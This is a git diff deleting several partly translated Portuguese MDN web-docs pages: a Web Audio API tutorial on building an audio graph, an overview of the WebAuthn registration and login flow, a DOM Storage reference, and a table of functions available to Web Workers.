Gráficos de áudio

- -

Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.

- -

The Web Audio API handles audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.

- -

Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.

- -

Contxeto de Áudio

- -

To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.

- -
// for legacy browsers
-const AudioContext = window.AudioContext || window.webkitAudioContext;
-
-const audioCtx = new AudioContext();
-
- -

So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.

- -
-

Note: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.

-
- -

Carregar som

- -

Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.

- -
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
-
- -
-

Nota: If the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see Cross Origin Resource Sharing (CORS)  for more information.

-
- -

To use all the nice things we get with the Web Audio API, we need to grab the source from this element and pipe it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:

- -
// get the audio element
-const audioElement = document.querySelector('audio');
-
-// pass it into the audio context
-const track = audioCtx.createMediaElementSource(audioElement);
-
- -
-

Nota: The <audio> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.

-
- -

Controlar o som

- -

When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.

- -
-

Nota: We need to take into account the new autoplay policy that modern browsers have, which calls for a user gesture before media can play (see Chrome's Autoplay Policy Changes, for example). This has been implemented because autoplaying media is really bad for many reasons — it is annoying and intrusive at the very least, and also causes accessibility problems. This is accounted for by our play/pause button.

-
- -

Let's take a look at our play and pause functionality to start with. We have a play button that changes to a pause button when the track is playing:

- -
<button data-playing="false" role="switch" aria-checked="false">
-    <span>Play/Pause</span>
-</button>
-
- -

Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.

- -

We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:

- -
track.connect(audioCtx.destination);
-
- -

A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:

- -

an audio graph with an audio element source connected to the default destination

- -

Now we can add the play and pause functionality.

- -
// select our play button
-const playButton = document.querySelector('button');
-
-playButton.addEventListener('click', function() {
-
-    // check if context is in suspended state (autoplay policy)
-    if (audioCtx.state === 'suspended') {
-        audioCtx.resume();
-    }
-
-    // play or pause track depending on state
-    if (this.dataset.playing === 'false') {
-        audioElement.play();
-        this.dataset.playing = 'true';
-    } else if (this.dataset.playing === 'true') {
-        audioElement.pause();
-        this.dataset.playing = 'false';
-    }
-
-}, false);
-
- -

We also need to take into account what to do when the track finishes playing. Our HTMLMediaElement fires an ended event once it's finished playing, so we can listen for that and run code accordingly:

- -
audioElement.addEventListener('ended', () => {
-    playButton.dataset.playing = 'false';
-}, false);
-
- -

Um aparte sobre o editor de Áudio da Web

- -

Firefox has a tool available called the Web Audio editor. On any page that has an audio graph running on it, you can open the developer tools, and use the Web Audio tab to view the audio graph, see what properties each node has available, and change the values of those properties to see what effect that has.

- -

The Firefox web audio editor showing an audio graph with AudioBufferSource, IIRFilter, and AudioDestination

- -
-

Nota: The Web Audio editor is not enabled by default. To display it, you need to go into the Firefox developer tools settings and check the Web Audio checkbox in the Default Developer Tools section.

-
- -

Modificar o som

- -

Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.

- -

There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. audioCtx.createGain()) or via a constructor of the node (e.g. new GainNode()). We'll use the factory method in our code:

- -
const gainNode = audioCtx.createGain();
-
- -

Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:

- -
track.connect(gainNode).connect(audioCtx.destination);
-
- -

This will make our audio graph look like this:

- -

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

- -

The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).

- -

Let's give the user control to do this — we'll use a range input:

- -
<input type="range" id="volume" min="0" max="2" value="1" step="0.01" />
-
- -
-

Nota: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.

-
- -

So let's grab this input's value and update the gain value when the input node has its value changed by the user:

- -
const volumeControl = document.querySelector('#volume');
-
-volumeControl.addEventListener('input', function() {
-    gainNode.gain.value = this.value;
-}, false);
-
- -
-

Nota: The values of node objects (e.g. GainNode.gain) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set GainNode.gain's value property, rather than just setting the value on gain directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.

-
- -

Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.

- -

Adicionar panning estéreo à sua aplicação

- -

Let's add another modification node to practise what we've just learnt.

- -

There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.

- -

Note: The StereoPannerNode is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound spatialisation, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.

- -

To visualise it, we will be making our audio graph look like this:

- -

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

- -

Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:

- -
const pannerOptions = {pan: 0};
-const panner = new StereoPannerNode(audioCtx, pannerOptions);
-
- -
-

Nota: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.

-
- -

Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:

- -
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01" />
-
- -

We use the values from that input to adjust our panner values in the same way as we did before:

- -
const pannerControl = document.querySelector('#panner');
-
-pannerControl.addEventListener('input', function() {
-    panner.pan.value = this.value;
-}, false);
-
- -

Let's adjust our audio graph again, to connect all the nodes together:

- -
track.connect(gainNode).connect(panner).connect(audioCtx.destination);
-
- -

The only thing left to do is give the app a try: Check out the final demo here on Codepen.

- -

Resumo

- -

Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.

- -

This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.

- -

Mais exemplos

- -

There are other examples available to learn more about the Web Audio API.

- -

The Voice-change-O-matic is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (run the Voice-change-O-matic live).

- -

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

- -

Another application developed specifically to demonstrate the Web Audio API is the Violent Theremin, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

- -

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

- -

Consulte também a nossa repositório de exemplos de áudio para mais exemplos.

diff --git a/files/pt-pt/web/api/web_authentication_api/index.html b/files/pt-pt/web/api/web_authentication_api/index.html deleted file mode 100644 index 65a1bf21aa..0000000000 --- a/files/pt-pt/web/api/web_authentication_api/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: APi de Autenticação da Web -slug: Web/API/Web_Authentication_API -tags: - - API - - API de Autenticação da Web - - Landing - - Referencia -translation_of: Web/API/Web_Authentication_API -original_slug: Web/API/API_Autenticacao_Web ---- -
{{draft}}{{SeeCompatTable}}{{securecontext_header}}{{DefaultAPISidebar("Web Authentication API")}}
- -

A "API de Autenticação da Web" é uma extensão de Credential Management API que permite uma autenticação forte com a criptografia de chave pública, permitindo a autenticação sem palavra-passe e/ou autenticação de segundo fator segura sem textos de SMS.

- -

Conceitos e utilização da autenticação da Web

- -

The Web Authtentication API (also referred to as WebAuthn) uses asymmetric (public-key) cryptography instead of passwords or SMS texts for registering, authenticating, and second-factor authentication with websites. This resolves significant security problems related to phishing, data breaches, and attacks against SMS texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).

- -

Many websites already have pages that allow users to register new accounts or sign in to an existing account, and WebAuthn acts as a replacement or suppliment to those on those existing webpages. Similar to the other forms of the Credential Management API, the Web Authentication API has two basic methods that correspond to register and login:

- -
    -
  • navigator.credentials.create() - when used with the publicKey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account.
  • -
  • navigator.credentials.get() - when used with the publicKey option, uses an existing set of credentials to authenticate to a service, either logging a user in or as a form of second-factor authentication.
  • -
- -

Por favor, note: both create() and get() require a Secure Context (e.g. - the server is connected by https or is the localhost), and will not be available for use if the browser is not operating in a secure context.

- -

In their most basic forms, both create() and get() receive a very large random number called a challenge from the server and they return the challenge signed by the private key back to the server. This proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.

- -

In order to understand how the create() and get() methods fit into the bigger picture, it is important to understand that they sit between two components that are outside the browser:

- -
    -
  1. Servidor - the WebAuthn API is intended to register new credentials on a server (also referred to as a service or a relying party) and later use those same credentials on that same server to authenticate a user.
  2. -
  3. Autenticador - the credentials are created and stored in a device called an authenticator. This is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using WebAuthn, the password is replaced with a key pair that is stored in an authenticator. The authenticator may be embedded into an operating system, such as Windows Hello, or may be a physical token, such as a USB or Bluetooth Security Key.
  4. -
- -

Registo

- -

A typical registration process has six steps, as illustrated in Figure 1 and described further below. This is a simplification of the data required for the registration process that is only intended to provide an overview. The full set of required fields, optional fields, and their meanings for creating a registration request can be found in the {{domxref("PublicKeyCredentialCreationOptions")}} dictionary. Likewise, the full set of response fields can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAttestationResponse")}} interface). Note most JavaScript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.

- -

WebAuthn registration component and dataflow diagram

- -

Figura 1 - a diagram showing the sequence of actions for a WebAuthn registration and the essential data associated with each action.

- -

Os passos de registo são:

- -
    -
  1. Registo de Pedidos da Aplicação - The application makes the initial registration request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. -
  3. Servidor Envia Desafio, Informação do Utilziador, e Envio de Informação de Confiança - The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the create() call, typically with little or no modification and returns a Promise that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.
  4. -
  5. Navegador Chama o authenticatorMakeCredential() no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. -
  7. Autenticador Cria Novo Par de Chave e Certificação - Before doing anything, the authenticator will typically ask for some form of user verficiation. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting of the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authtenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.
  8. -
  9. Autenticador Devolve os Dados para o Navegador - The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.
  10. -
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).
  12. -
  13. Servidor Valida e Finaliza o Registo - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: -
      -
    1. Verifying that the challenge is the same as the challenge that was sent
    2. -
    3. Ensuring that the origin was the origin expected
    4. -
    5. Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of authenticator
    6. -
    - A complete list of validation steps can be found in the WebAuthn specification. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.
  14. -
- -

Autenticação

- -

After a user has registered with WebAuthn, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the discription of authentication below is a broad overview rather than getting into all the options and features of WebAuthn. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .

- -

WebAuthn authentication component and dataflow diagram

- -

Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a WebAuthn authentication and the essential data associated with each action.

- -
    -
  1. Auyenticação dos Pedidos da Aplicação - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of WebAuthn.
  2. -
  3. Servidor Envia Desafio - The server sends a challenge JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be REST over https (probably using XMLHttpRequest or Fetch), but they could also be SOAP, RFC 2549 or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the get() call, typically with little or no modification. Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.
  4. -
  5. Navegador Chama o authenticatorGetCredential()  no Autenticador - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).
  6. -
  7. Autenticador Cria uma Certificação  - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.
  8. -
  9. Autenticador Devolve os Dados para o Navegador -  The authenticator returns the authenticatorData and assertion signature back to the browser.
  10. -
  11. Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor - The browser resolves the Promise to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.
  12. -
  13. Servidor Valida e Finaliza a Autenticação - Upon receiving the result of the authentication request, the server performs validation of the response such as: -
      -
    1. Using the public key that was stored during the registration request to validate the signature by the authenticator.
    2. -
    3. Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.
    4. -
    5. Checking that the Relying Party ID is the one expected for this service.
    6. -
    - A full list of the steps for validating an assertion can be found in the WebAuthn specification. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the WebAuthn specification, but one option would be to drop a new cookie for the user session.
  14. -
- -

Interfaces

- -
-
{{domxref("CredentialsContainer")}}
-
WebAuthn extends the Credential Management API's create() and get() methods to take a new option: publicKey. When the publicKey option is passed to create() and / or get(), the Credential Management API will create a new public key pair or get an authentication for a key pair, respectively.
-
{{domxref("PublicKeyCredential")}}
-
A credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
-
{{domxref("AuthenticatorResponse")}}
-
Part of the PublicKeyCredential, the AuthenticatorResponse includes information from the browser (such as the challenge and origin); as well as information from the authenticator such as an AuthenticatorAttestationResponse (for new credentials) or an AuthenticatorAssertionResponse (when authenticating with existing credentials).
-
{{domxref("AuthenticatorAttestationResponse")}}
-
When a PublicKeyCredential has been created with the create() call, it will include an AuthenticatorAttestationResponse. This is the authenticator's way of providing a cryptographic root of trust for the new key pair that has been generated.
-
{{domxref("AuthenticatorAssertionResponse")}}
-
When a PublicKeyCredential is the result of a get() call, it will include an AuthenticatorAssertionResponse. This is the authenticator's way of proving to a service that it has the key pair and that the authentication request is valid and approved.
-
- -

Opções

- -
-
{{domxref("PublicKeyCredentialCreationOptions")}}
-
The options for creating a credential via navigator.credentials.create()
-
{{domxref("PublicKeyCredentialRequestOptions")}}
-
The options for using a credential via navigator.credentials.get()
-
- -

Exemplos

- - - -

Especificações

- - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('WebAuthn')}}{{Spec2('WebAuthn')}}Definção inicial.
- -

Compatibilidade do Navegador

- -
-
- - -

{{Compat("api.PublicKeyCredential")}}

-
-
- -

Consulte também:

- - diff --git a/files/pt-pt/web/api/web_storage_api/index.html b/files/pt-pt/web/api/web_storage_api/index.html deleted file mode 100644 index 9a4332b272..0000000000 --- a/files/pt-pt/web/api/web_storage_api/index.html +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: DOM Storage -slug: Web/API/Web_Storage_API -original_slug: DOM/Storage ---- -

{{ ApiRef() }}

-

Resumo

-

DOM Storage é o nome dado ao conjunto de características de armazenamento relacionadas (storage-related features) inicialmente apresentadas na especificação Web Applications 1.0, e agora dividida em sua própria especificação W3C Web Storage. DOM Storage foi desenhado para proporcionar uma alternativa mais segura e fácil de usar, para o armazenamento de informações em cookies. Atualmente ela está disponível somente nos navegadores baseados no Mozilla e WebKit, começando notavelmente com o Firefox 2 e o Safari 4.

-
- Nota: DOM Storage não é o mesmo que mozStorage (Interface XPCOM da Mozilla para o SQLite) ou Session store API (uma ferramenta de armazenamento XPCOM para uso de extensões).
-

Descrição

-

O mecanismo DOM Storage é um meio através do qual pares de strings de chaves/valores podem ser armazenados com segurança e mais tarde recuperados para uso.  A meta desta adição é proporcionar um meio compreensível através do qual aplicações interativas possam ser construídas (incluindo habilidades avançadas, tal como ser capaz de trabalhar "offline" por períodos de tempo maiores).

-

Atualmente, somente navegadores baseados no Mozilla, Internet Explorer 8 beta 2 e Safari (não outros navegadores baseados em webkit, por exemplo, o Google Chrome) proporcionam um trabalho de implementação da especificação do DOM Storage. O Internet Explorer anterior a versão 8 tem uma característica similar chamada "userData behavior" que permite guardar dados através de múltiplas sessões do navegador.

-

Dom Storage é útil porque não existem métodos diretamente nos navegadores, bons para guardar quantidades de dados razoáveis por qualquer período de tempo. Os cookies do navegador (Browser cookies) tem uma capacidade limitada e não proporcionam suporte para organizar dados armazenados, e outros métodos (tal como Flash Local Storage) que requerem um plugin externo.

-

Umas dos primeiros aplicativos públicos a fazer uso da nova funcionalidade DOM Storage (em adição ao userData Behavior do Internet Explorer) foi o halfnote (um aplicativo de tomada de notas) escrito por Aaron Boodman. Em seu aplicativo, Aaron simultaneamente salvava notas no servidor (quando a conexão a internet estava disponível) e em um armazenamento local de dados. Isto permitia ao usuário escrever seguramente, cópias de notas mesmo com uma conexão esporádica à internet.

-

Embora o conceito e implementação apresentados no halfnote seja comparativamente simples, sua criação mostra a possibilidade para uma nova geração de aplicativos web que sejam utilizáveis tanto online quanto offline.

-

Referência

-

A seguir vem objetos globais que existem como propriedades de todos os window object. Isto significa que eles podem ser acessados por sessionStorage ou window.sessionStorage. (Isto é importante porque você pode então usar IFrames para armazenar, ou acessar, dados adicionais, além do que está imediatamente incluído em sua página).

-

Storage

-

Este é um construtor (Storage) para todas as instâncias Storage (sessionStorage e globalStorage[location.host]). Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) } assim configuradao, pode ser acessado como localStorage.removeKey e sessionStorage.removeKey.

-

Itens globalStorage não são instâncias de Storage, e sim uma instância de StorageObsolete.

-

Storage é definido pelo WhatWG Storage Interface como:

-
interface Storage {
-  readonly attribute unsigned long length;
-  [IndexGetter] DOMString key(in unsigned long index);
-  [NameGetter] DOMString getItem(in DOMString key);
-  [NameSetter] void setItem(in DOMString key, in DOMString data);
-  [NameDeleter] void removeItem(in DOMString key);
-  void clear();
-};
-

 

-

sessionStorage

-

Este é um objeto global (sessionStorage) que mantém uma área de armazenamento disponível enquanto durar a sessão da página. Uma sessão de página dura enquanto o navegador estiver aberto e continua mesmo sobre recarregamentos e restaurações. Abrindo uma página em uma nova aba ou janela causará o início de uma nova sessão.

-
// Save data to a the current session's store
-sessionStorage.username = "John";
-
-// Access some stored data
-alert( "username = " + sessionStorage.username );
-
-

O objeto sessionStorage é útil para guardar dados temporários que devem ser salvos e restaurados se o navegador for atualizado acidentalmente.

-

{{ fx_minversion_note("3.5", "Nas versões anteriores ao Firefox 3.5, os dados em sessionStorage não eram restaurados automaticamente depois de recuperar-se de uma quebra no navegador. A partir do Firefox 3.5, isto funciona como na especificação.") }}

-

Exemplos:

-

Autosalvar o conteúdo de uma campo de texto, e se o navegador for atualizado acidentalmente , restaurar o conteúdo do campo de texto, não tendo perdas na escrita.

-
 // Get the text field that we're going to track
- var field = document.getElementById("field");
-
- // See if we have an autosave value
- // (this will only happen if the page is accidentally refreshed)
- if ( sessionStorage.autosave ) {
-     // Restore the contents of the text field
-     field.value = sessionStorage.autosave;
- }
-
- // Check the contents of the text field every second
- setInterval(function(){
-     // And save the results into the session storage object
-     sessionStorage.autosave = field.value;
- }, 1000);
-
-

Mais informações:

- -

globalStorage

-

{{ Non-standard_header() }} Este é um objeto global (globalStorage) que mantém múltiplas áreas de armazenamento privadas que podem ser usadas para guardar dados por um longo período de tempo (por exemplo, sobre múltiplas láginas e sessões do navegador).

-
- Nota: globalStorage não é uma instância de Storage, mas uma instância StorageList contendo instâncias StorageObsolete.
-
// Save data that only scripts on the mozilla.org domain can access
-globalStorage['mozilla.org'].snippet = "<b>Hello</b>, how are you?";
-
-

Especificamente, o objeto globalStorage fornece acesso a um número de diferentes objetos de armazenamento em que os dados sejam armazenados. Por exemplo, se construirmos uma página web que use globalStorage em seu domínio (developer.mozilla.org) é necessário termos o objeto de armazenamento a seguir disponível para nós:

-
    -
  • globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }} - Todas as páginas web com o subdomínio developer.mozilla.org podem tanto ler quanto escrever dados neste objeto de armazenamento.
  • -
-

{{ Fx_minversion_note(3, "O Firefox 2 passou a permitir acesso aos objetos de armazenamento superiores ao documento corrente na hierarquia do domínio. Por razões de segurança isto não é mais permitido no Firefox 3. Além disso, a proposta de adição ao HTML 5 foi removida da especificação do HTML 5 em favor de localStorage, que foi implementado no Firefox 3.5.") }}

-

Exemplos:

-

Todos estes exemplos requerem que você tenha uns script inserido (com o código seguinte) em todas as páginas que você quiser ver o resultado.

-

Lembrar o nome de usuário para o subdomínio particular que está sendo visitado:

-
 globalStorage['developer.mozilla.org'].username = "John";
-
-

Manter o número de vezes que um usuário visitou todas as páginas do seu domínio:

-
 // parseInt must be used since all data is stored as a string
- globalStorage['mozilla.org'].visits =
-     parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-
-

localStorage

-

localStorage é o mesmo que globalStorage[location.hostname], com a exceção de ser projetado para a origem do HTML 5 (esquema + nome do host + porta não padrão) e localStorage é uma instância de Storage diferente de globalStorage[location.hostname] que é uma instância de StorageObsolete. Por exemplo, http://example.com não está disponível para acessar o mesmo objeto localStorage que https://example.com mas eles podem acessar o mesmo item globalStorage. localStorage é uma interface padrão enquanto globalStorage não é padrão. localStorage foi adicionada ao Firefox 3.5.

-

Por favor, note que configurar a propriedade globalStorage[location.hostname] não a configura em localStorage e por extensão Storage.prototype não afeta itens globalStorage, somente extendendo o que StorageObsolete.prototype faz.

-
- Nota: Quando o navegador entra em modo de navegação privada, um novo banco de dados temporário é criado para guardar dados de armazenamento local; este banco de dados é vazio, e é jogado fora qunado o modo de navegação privado é desativado.
-

Mais informações

- -

Exemplos

-
    -
  • Basic DOMStorage Examples - Quebrado no Firefox 3 pelo uso de globalStorage em um nível de domínio acima do domínio atual, o que não é permitido no Firefox 3.
  • -
  • halfnote - (exibido como quebrado no Firefox 3) Aplicativo de escrita de notas que usa DOM Storage.
  • -
  • Noteboard - Aplicativo de escrita de notas que não armazena dados em um servidor. Todos os documentos são armazenados localmente. A tecla tab também trabalha na indentação de texto.
  • -
  • jData - Um objeto de interface localStorage compartilhado que pode ser acessado através de qualquer website na internet e trabalha no Firefox 3+, Webkit 3.1.2+ nightlies e IE8. É como uma pseudo-globalStorage[""] em que o acesso a escrita precisa de confirmação do usuário.
  • -
- - -

{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}

diff --git a/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html deleted file mode 100644 index 14e44860a1..0000000000 --- a/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html +++ /dev/null @@ -1,443 +0,0 @@ ---- -title: Funções e classes disponíveis para os Workers da Web -slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers -tags: - - Referencia - - Web -translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers ---- -

In addition to the standard JavaScript set of functions (such as {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}}, etc), there are a variety of functions available from the DOM to workers. This article provides a list of those.

- -

Workers run in another global context, {{domxref("DedicatedWorkerGlobalScope")}}, different from the current window. By default, methods and properties of {{domxref("Window")}} are not available to them, but {{domxref("DedicatedWorkerGlobalScope")}}, like Window, implements {{domxref("WindowTimers")}} and {{domxref("WindowBase64")}}.

- -

Comparação das propriedades e métodos de diferentes tipos de workers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunçãoWorkers dedicadosShared workersService workersChrome workers {{Non-standard_inline}}Outside workers
{{domxref("WindowBase64.atob", "atob()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowBase64.btoa", "btoa()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearInterval", "clearInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
{{domxref("WindowTimers.setInterval", "setInterval()")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("WorkerGlobalScope")}}yes, on {{domxref("Window")}}
